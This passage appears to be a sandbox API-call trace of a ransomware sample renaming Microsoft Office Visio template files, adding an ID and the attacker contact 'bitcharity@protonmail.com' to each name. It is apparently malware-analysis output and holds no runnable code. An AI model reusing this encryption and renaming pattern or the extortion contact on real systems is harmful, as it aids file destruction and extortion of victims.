returned 0xffffffff [0276.532] CloseHandle (hObject=0x1154) returned 1 [0276.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLANT_M.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plant_m.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLANT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plant_m.vssx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0276.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLANT_U.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plant_u.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLANT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plant_u.vssx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0276.534] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.535] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLANT_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plant_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.535] CloseHandle (hObject=0x1154) returned 1 [0276.535] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.536] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLANT_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plant_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.536] CloseHandle (hObject=0x1154) returned 1 [0276.537] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.537] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLMPIP_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plmpip_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.537] CloseHandle (hObject=0x1154) returned 1 [0276.538] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.538] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLMPIP_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plmpip_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.539] CloseHandle (hObject=0x1154) returned 1 [0276.539] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.539] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLTLYT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pltlyt_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.540] CloseHandle (hObject=0x1154) returned 1 [0276.540] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.540] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLTLYT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pltlyt_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.541] CloseHandle (hObject=0x1154) returned 1 [0276.541] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.542] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLUMB_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plumb_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.542] CloseHandle (hObject=0x1154) returned 1 [0276.543] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.543] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PLUMB_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\plumb_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.543] CloseHandle (hObject=0x1154) returned 1 [0276.544] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.544] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRKRD_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prkrd_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.544] CloseHandle (hObject=0x1154) returned 1 [0276.545] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.545] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRKRD_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prkrd_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.546] CloseHandle (hObject=0x1154) returned 1 [0276.546] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.546] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRKRD_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prkrd_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.547] CloseHandle (hObject=0x1154) returned 1 [0276.547] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.547] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRKRD_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prkrd_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.548] CloseHandle (hObject=0x1154) returned 1 [0276.549] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.549] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0276.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRSAVL_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prsavl_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.549] CloseHandle (hObject=0x1154) returned 1 [0278.297] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.298] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRSAVL_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prsavl_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.620] CloseHandle (hObject=0x10c0) returned 1 [0278.621] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.621] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFCRS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfcrs_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.621] CloseHandle (hObject=0x10c0) returned 1 [0278.622] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.622] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFCTRL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfctrl_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.623] CloseHandle (hObject=0x10c0) returned 1 [0278.623] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.624] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFCTRL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfctrl_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.624] CloseHandle (hObject=0x10c0) returned 1 [0278.625] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.625] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDEME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdeme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.625] CloseHandle (hObject=0x10c0) returned 1 [0278.626] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.626] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDEME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdeme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.626] CloseHandle (hObject=0x10c0) returned 1 [0278.627] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.627] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDEP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdep_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.628] CloseHandle (hObject=0x10c0) returned 1 [0278.628] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.629] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDEP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdep_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.629] CloseHandle (hObject=0x10c0) returned 1 [0278.631] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.631] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDGM_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdgm_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.631] CloseHandle (hObject=0x10c0) returned 1 [0278.632] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.632] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDGM_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdgm_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.632] CloseHandle (hObject=0x10c0) returned 1 [0278.633] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.633] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDLGS_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdlgs_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.634] CloseHandle (hObject=0x10c0) returned 1 [0278.635] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.635] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFDLGS_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfdlgs_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.635] CloseHandle (hObject=0x10c0) returned 1 [0278.636] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.636] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFOBJ_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfobj_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.636] CloseHandle (hObject=0x10c0) returned 1 [0278.637] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.637] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFOBJ_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfobj_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.638] CloseHandle (hObject=0x10c0) returned 1 [0278.639] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.639] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFOBME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfobme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.639] CloseHandle (hObject=0x10c0) returned 1 [0278.640] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.640] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFOBME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfobme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.641] CloseHandle (hObject=0x10c0) returned 1 [0278.642] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.642] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WFSTEP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wfstep_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.642] CloseHandle (hObject=0x10c0) returned 1 [0278.651] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.651] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0278.651] 